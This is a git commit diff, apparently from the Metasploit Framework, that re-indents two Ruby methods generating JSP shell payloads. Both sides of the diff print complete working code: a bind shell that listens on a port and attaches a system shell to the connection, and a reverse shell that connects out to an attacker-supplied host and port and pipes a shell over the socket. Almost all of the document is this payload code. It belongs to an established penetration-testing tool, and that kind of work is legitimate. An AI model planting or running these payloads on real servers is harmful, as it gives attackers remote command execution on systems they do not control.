Avoid initial spaces on the JSP

So the jsp isn't affected by changes on the framework indentation standards
bug/bundler_fix
jvazquez-r7 2013-12-31 08:38:38 -06:00
parent 0725b9c69c
commit a979aedd9e
1 changed files with 98 additions and 98 deletions

View File

@ -8,62 +8,62 @@ module Msf::Payload::JSP
def jsp_bind_tcp def jsp_bind_tcp
# Modified from: http://www.security.org.sg/code/jspreverse.html # Modified from: http://www.security.org.sg/code/jspreverse.html
jsp = <<-EOS jsp = <<-EOS
<%@page import="java.lang.*"%> <%@page import="java.lang.*"%>
<%@page import="java.util.*"%> <%@page import="java.util.*"%>
<%@page import="java.io.*"%> <%@page import="java.io.*"%>
<%@page import="java.net.*"%> <%@page import="java.net.*"%>
<% <%
class StreamConnector extends Thread class StreamConnector extends Thread
{
InputStream is;
OutputStream os;
StreamConnector( InputStream is, OutputStream os )
{
this.is = is;
this.os = os;
}
public void run()
{
BufferedReader in = null;
BufferedWriter out = null;
try
{
in = new BufferedReader( new InputStreamReader( this.is ) );
out = new BufferedWriter( new OutputStreamWriter( this.os ) );
char buffer[] = new char[8192];
int length;
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
{ {
InputStream is; out.write( buffer, 0, length );
OutputStream os; out.flush();
StreamConnector( InputStream is, OutputStream os )
{
this.is = is;
this.os = os;
}
public void run()
{
BufferedReader in = null;
BufferedWriter out = null;
try
{
in = new BufferedReader( new InputStreamReader( this.is ) );
out = new BufferedWriter( new OutputStreamWriter( this.os ) );
char buffer[] = new char[8192];
int length;
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
{
out.write( buffer, 0, length );
out.flush();
}
} catch( Exception e ){}
try
{
if( in != null )
in.close();
if( out != null )
out.close();
} catch( Exception e ){}
}
} }
} catch( Exception e ){}
try
{
if( in != null )
in.close();
if( out != null )
out.close();
} catch( Exception e ){}
}
}
try try
{ {
ServerSocket server_socket = new ServerSocket( #{datastore['LPORT'].to_s} ); ServerSocket server_socket = new ServerSocket( #{datastore['LPORT'].to_s} );
Socket client_socket = server_socket.accept(); Socket client_socket = server_socket.accept();
server_socket.close(); server_socket.close();
Process process = Runtime.getRuntime().exec( "#{datastore['SHELL']}" ); Process process = Runtime.getRuntime().exec( "#{datastore['SHELL']}" );
( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start(); ( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start();
( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start(); ( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start();
} catch( Exception e ) {} } catch( Exception e ) {}
%> %>
EOS EOS
return jsp.gsub(/^\s{6}/, '') return jsp
end end
# Outputs jsp code that spawns a reverse TCP shell # Outputs jsp code that spawns a reverse TCP shell
@ -71,59 +71,59 @@ module Msf::Payload::JSP
def jsp_reverse_tcp def jsp_reverse_tcp
# JSP Reverse Shell modified from: http://www.security.org.sg/code/jspreverse.html # JSP Reverse Shell modified from: http://www.security.org.sg/code/jspreverse.html
jsp = <<-EOS jsp = <<-EOS
<%@page import="java.lang.*"%> <%@page import="java.lang.*"%>
<%@page import="java.util.*"%> <%@page import="java.util.*"%>
<%@page import="java.io.*"%> <%@page import="java.io.*"%>
<%@page import="java.net.*"%> <%@page import="java.net.*"%>
<% <%
class StreamConnector extends Thread class StreamConnector extends Thread
{
InputStream is;
OutputStream os;
StreamConnector( InputStream is, OutputStream os )
{
this.is = is;
this.os = os;
}
public void run()
{
BufferedReader in = null;
BufferedWriter out = null;
try
{
in = new BufferedReader( new InputStreamReader( this.is ) );
out = new BufferedWriter( new OutputStreamWriter( this.os ) );
char buffer[] = new char[8192];
int length;
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
{ {
InputStream is; out.write( buffer, 0, length );
OutputStream os; out.flush();
StreamConnector( InputStream is, OutputStream os )
{
this.is = is;
this.os = os;
}
public void run()
{
BufferedReader in = null;
BufferedWriter out = null;
try
{
in = new BufferedReader( new InputStreamReader( this.is ) );
out = new BufferedWriter( new OutputStreamWriter( this.os ) );
char buffer[] = new char[8192];
int length;
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
{
out.write( buffer, 0, length );
out.flush();
}
} catch( Exception e ){}
try
{
if( in != null )
in.close();
if( out != null )
out.close();
} catch( Exception e ){}
}
} }
} catch( Exception e ){}
try
{
if( in != null )
in.close();
if( out != null )
out.close();
} catch( Exception e ){}
}
}
try try
{ {
Socket socket = new Socket( "#{datastore['LHOST']}", #{datastore['LPORT'].to_s} ); Socket socket = new Socket( "#{datastore['LHOST']}", #{datastore['LPORT'].to_s} );
Process process = Runtime.getRuntime().exec( "#{datastore['SHELL']}" ); Process process = Runtime.getRuntime().exec( "#{datastore['SHELL']}" );
( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start(); ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start(); ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
} catch( Exception e ) {} } catch( Exception e ) {}
%> %>
EOS EOS
return jsp.gsub(/^\s{6}/, '') return jsp
end end
# Wraps the jsp payload into a war # Wraps the jsp payload into a war